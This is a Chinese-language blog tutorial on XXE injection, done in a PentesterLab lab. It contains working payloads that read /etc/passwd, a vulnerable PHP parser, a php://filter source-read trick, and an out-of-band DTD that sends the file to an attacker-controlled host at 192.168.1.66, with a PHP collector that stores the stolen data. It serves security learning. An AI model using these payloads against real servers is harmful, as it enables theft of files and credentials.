XXE漏洞学习

0x00 XXE漏洞介绍:

背景:2018-7-4 微信支付SDK漏洞(XXE漏洞),攻击者可以获取服务器中目录结构,文件内容,eg:代码,各种 私钥。敏感数据泄露

0x01什么是xxe漏洞:

XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞.

XML Extwrnal Entity,也就是XML外部实体注入攻击

  1. 漏洞存在于XML中
  2. 外部 漏洞的条件 实体通过SYStem加载外部资源 DTD也可以通过外部应用
  3. ENtity 实体 :漏洞的具体位置 变量
外部引用必须被XML解释器解析才能加载

漏洞的利用过程和SSRF非常类似。漏洞的危害与ssrf几乎一致。

什么是XML?

  1. 可扩展标记语言:标记数据,定义数据类型
  2. 一种标记语言,类似于HTML(由标签组成<>)
  3. 宗旨是传输数据,而非显示数据。html被设计用来显示数据
  4. 标签没有被定义,需要自行定义标签
  5. 被设计为具有自我描述性
  6. 是W3c的推荐标准

区别:
1.XML可自定义标签
2.XML存储或传输数据
3,XML区分大小写
4.XML标签嵌套闭合比较严谨
5.必须要有根元素,如 (最外面的)
6.实体字符 类似于xss eg:<>由< 和 >表示
HTML目的是为了显示数据
元素代表标签:

XXE漏洞学习

XXE漏洞学习
XXE漏洞学习
第一行:定义note元素,定义了里面有to,from,heading,body这四个元素
XXE漏洞学习

ENtity 实体定义:在DTD下面 (实体就是个变量)
<!ENTITY free "nice"> &#x5B9A;&#x4E49;&#x4E86;&#x4E00;&#x4E2A;&#x5B9E;&#x4F53;&#x53EB;free &#xFF0C;free&#x91CC;&#x9762;&#x5B58;&#x4E86;&#x4E2A;nice&#xFF0C;&#x7C7B;&#x4F3C;&#x4E8E;&#x53D8;&#x91CF;&#x7684;&#x4F5C;&#x7528;
调用变量:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free "nice"> //&#x5185;&#x90E8;&#x5B9E;&#x4F53;
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>

</note>

调用结果显示如下:

XXE漏洞学习

外部实体需要通过system引用
eg: //通过file协议

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free SYSTEM"file:///etc/passwd">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>

</note>

DTD通过外部引用的方法:(逻辑上可行,实际看情况)

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

将上述代码写入free.dtd文件中

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "free.dtd"> //&#x8FD9;&#x91CC;&#x901A;&#x8FC7;system&#x6765;&#x5BF9;free.dtd&#x6587;&#x4EF6;&#x8FDB;&#x884C;&#x52A0;&#x8F7D;
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>

</note>

导致文件读取,泄露服务器上的敏感数据 (前提条件是:XML文档能够被解析)
接下来的代码将展示XML文件如何被解析:

xxe.php文件:
<?php
$xml=file_get_contents("php://input");//**接收用户传过来的XML文档**
//通过php- input来捕获数据流 data ,将捕获到的内容存到xml中
$data = simplexml_load_string($xml) ;
// 把xml文档解析成simple xml element object对象
echo "<pre>" ;
print_r($data) ;
//&#x5C06;&#x89E3;&#x6790;&#x540E;&#x7684;&#x5BF9;&#x8C61;&#x6253;&#x5370;&#x5230;&#x516C;&#x5C4F;
echo "

” ;
?>

如何读取php文件:
php://filiter/read=convert.base64-encode/resource=xxe.php

当没有print_r($data);的情况下,即无回显,该如何解决呢?
解决方法:
1.获取数据,把数据内容保存到变量中 外部实体
2.获取前面取到的数据 (带外)oob

0x03实验环境搭建:

pentester lab(这里我设置的是桥接网络)

XXE漏洞学习

切换到root用户下:

XXE漏洞学习
XXE漏洞学习
然后再物理机上登入该虚拟机网站
XXE漏洞学习

0x04小思考:如何确认该网站存在xxe漏洞?

该网站是否能解析xml?
解决方法:
发送给他一个xml文档,如果该网站解析的话,说明存在xxe漏洞
如果加载了外部资源,说明存在xxe
1.通过bp,先截取数据包

XXE漏洞学习
发到重发器中(删除最低下username和helloo那一行)
XXE漏洞学习

添加xml文档(记得要空出一行)
同时将CONtent-Type中的内容修改成tetx/xml

XXE漏洞学习
返回结果如下,(返回200,说明页面成功显示)
XXE漏洞学习
同时查看bp中的Collaborator
XXE漏洞学习
发现外部资源(dnsLOG)被进行访问了,说明存在xxe漏洞
这里通过构建一个网站,将用户信息记录到txt上(思路)
 <?php
  $pass = $_GET['pass'];
   file_put_contents('pass.txt',$pass);//通过file_put_contents将pass的值记录到pass.txt上
 ?>

0X05实践版:

1.获取数据,把数据内容保存到变量中 外部实体 p1 =passwd(将p1作为参数)
2.OOB获取数据 p2 system http://192.168.1.66/xxe.php?pass = &p1(=passwd)//加载该资源的过程时,调用p1

具体代码实现:
xml文档:

<?xml version="1.0"?>
<!DOCTYPE e1 SYSTEM "http://192.168.1.66/test.dtd">//&#x58F0;&#x660E;&#x4E86;&#x5916;&#x90E8;&#x7684;dtd&#xFF0C;&#x56E0;&#x6B64;&#x8981;&#x5148;&#x5230;1.66&#x53BB;&#x5BFB;&#x627E;dtd&#xFF0C;&#x627E;&#x5230;&#x4EE5;&#x540E;&#x5F00;&#x59CB;&#x8C03;&#x7528;dtd&#x7684;&#x4EE3;&#x7801;
<foo>&e1;</foo>

dtd中代码作用:
1.获取数据,把数据内容保存到变量中 外部实体
2.OOB获取数据
先获取passwd,再将passwd发出去

先创建test.dtd

<!ENTITY %p1 SYSTEM"file:///etc/passwd">
<!ENTITY %p2 <!ENTITY e1 SYSTEM 'http://192.168.1.66/xxe.php?pass=%p1;'>">
%p2;

XXE漏洞学习

然后上传xml文档

XXE漏洞学习
结果存储再pass.txt文件中
XXE漏洞学习

Original: https://www.cnblogs.com/ZZslBl0g/p/16597661.html
Author: ZZslBl0g
Title: XXE漏洞学习

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578273/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 安装及管理文件

    优点: 契合系统兼容性强 如果你可以看懂源代码,修改新增功能 比较自由 缺点: 如果编译出了问题,你看不懂源代码,无法解决 安装过程复杂 没有统一的管理人员 安装过程 程序包编译安…

    Linux 2023年6月6日
    083
  • 表单校验

    HTML <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Typ…

    Linux 2023年6月13日
    085
  • OpenSSH制作rpm包和升级OpenSSH过程中遇到的问题

    百度网盘:https://pan.baidu.com/s/1gqpH2xeOkYHJ0CiztbmqoQ 提取码:imfg cp x11-ssh-askpass-1.2.4.1.t…

    Linux 2023年6月7日
    081
  • 安装 CentOS 7

    1、VMware虚拟机安装 2、CentOS操作系统安装 3、CentOS操作系统配置 3.1、选择语言 3.2、网络和主机名 3.3、日期和时间 3.4、安装位置 3.5、开始安…

    Linux 2023年6月8日
    0101
  • Centos7下载及安装

    Centos7下载及安装 1.下载虚拟机 虚拟机下载地址: https://www.vmware.com 或者 360一键安装(推荐) 2.在虚拟机上安装Centos7 2.1.通…

    Linux 2023年5月27日
    082
  • 数据结构 一元多项式加减法计算器

    cpp;gutter:true;</p> <h1>include</h1> <p>using namespace std;</…

    Linux 2023年6月13日
    072
  • 实验二 电子传输系统安全-进展2

    一、利用java程序实现文件加密 我们的文件在计算机中都是以二进制的形式存储,而Java中IO流(字节流和字符流)可以实现对底层文件的读取,故利用Java的IO流进行文件拷贝时,可…

    Linux 2023年6月8日
    097
  • 前端开发:如何正确地跨端

    导读:面对多种多样的跨端诉求,有哪些跨端方案?跨端的本质是什么?作为业务技术开发者,应该怎么做?本文分享阿里巴巴ICBU技术部在跨端开发上的一些思考,介绍了当前主流的跨端方案,以及…

    Linux 2023年6月8日
    069
  • 浅谈kali : arpspoof工具原理

    介绍 arpspoof是一个通过ARP协议伪造数据包实现中间人攻击的kali工具。 中间人攻击虽然古老,但仍处于受到黑客攻击的危险中,可能会严重导致危害服务器和用户。仍然有很多变种…

    Linux 2023年6月14日
    075
  • go将青龙面板里面的脚本文件都下载到本地

    纯粹练手用的,大家轻喷青龙面板的脚本文件可以下载到本地,这样的话自己可以研究一下对应的脚本文件,能学到更多的知识,原理其实很简单,F12一下就知道了,青龙面板使用Request H…

    Linux 2023年6月7日
    0116
  • kafka 在 zookeeper 中保存的数据内容

    转载请注明出处: 服务器上下载 kafka : wget https://archive.apache.org/dist/kafka/2.4.0/kafka_2.12-3.2.0….

    Linux 2023年6月14日
    083
  • VR(虚拟现实)开发资源汇总

    Daydream Gear VR Algorithm ATW Bluetooth Blog Latency Tools Touch Unity Qualcomm EGL Origi…

    Linux 2023年6月7日
    079
  • Linux系统编程之文件IO

    前言 在学习C语言时,我们接触过如fopen、fclose、fseek、fgets、fputs、fread、fwrite等函数,实际上,这些函数是对于底层系统调用的封装。C默认会打…

    Linux 2023年6月8日
    082
  • 《卡死你3000》批量修改被控机密码,秘钥

    批量生成密码之产生随机数: 默认产生16位大小写加数字密码 批量生成密码,并写入nodelist.csv: cs产生所有被控机旧密码并写入nodelist.ps1 运行这个脚本后,…

    Linux 2023年6月13日
    064
  • Netty-如何写一个Http服务器

    前言 动机 最近在学习Netty框架,发现Netty是支持Http协议的。加上以前看过Spring-MVC的源码,就想着二者能不能结合一下,整一个简易的web框架(PS:其实不是整…

    Linux 2023年6月7日
    090
  • Hystrix 源码解读

    转载请注明出处: 1.引入依赖: 2. 查看自动配置类HystrixCircuitBreakerConfiguration 查看 org.springframework.cloud…

    Linux 2023年6月14日
    086
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球